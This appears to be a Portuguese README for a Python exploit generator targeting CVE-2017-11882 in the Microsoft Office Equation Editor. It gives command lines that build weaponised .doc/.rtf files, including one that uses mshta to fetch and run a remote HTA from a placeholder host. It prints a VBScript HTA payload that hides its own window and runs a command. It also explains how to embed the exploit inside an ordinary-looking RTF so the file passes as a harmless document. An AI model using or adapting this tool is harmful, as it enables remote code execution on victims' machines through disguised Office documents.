
Gerador de exploits baseado em Python para CVE-2017-11882 (vulnerabilidade do Equation Editor do Microsoft Office) com suporte para shellcode personalizado, payloads mshta e incorporação de documentos RTF.
43b script original de https://github.com/embedi/CVE-2017-11882
109b script original de https://github.com/unamer/CVE-2017-11882/ (uma homenagem, agora o código do unamer pode executar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Pesquisa: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Análise de patch: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Demonstração de exploração PoC: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1c3ocqhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
utilize mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
O comprimento do comando 43b não pode exceder 43 bytes, o comprimento do comando 109b não pode exceder 109 bytes
A pasta example contém um arquivo .rtf que explora a vulnerabilidade CVE-2017-11882 e executa a calculadora no sistema.
Na verdade, a técnica para conteúdo personalizado foi aprendida com outros mestres. Já tinha sido escrita em script há muito tempo, e originalmente não planejava torná-la pública, mas ao ver que alguém dentro do grupo já a havia divulgado, não tive escolha senão torná-la pública. Na verdade, o método é muito simples: basta abrir um documento RTF normal com um editor de texto, copiar todo o conteúdo antes de {*\datastore , e substituir o conteúdo antes de {\object\objautlink\objupdate . Portanto, escrever isso em um script é muito simples.
Modo de usar para adicionar conteúdo personalizado, escolha qualquer script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
O conteúdo personalizado está em input.rtf.
Quanto ao mais recente script de exploit de 605 bytes do unamer, não vou atualizá-lo; se tiver interesse, modifique você mesmo.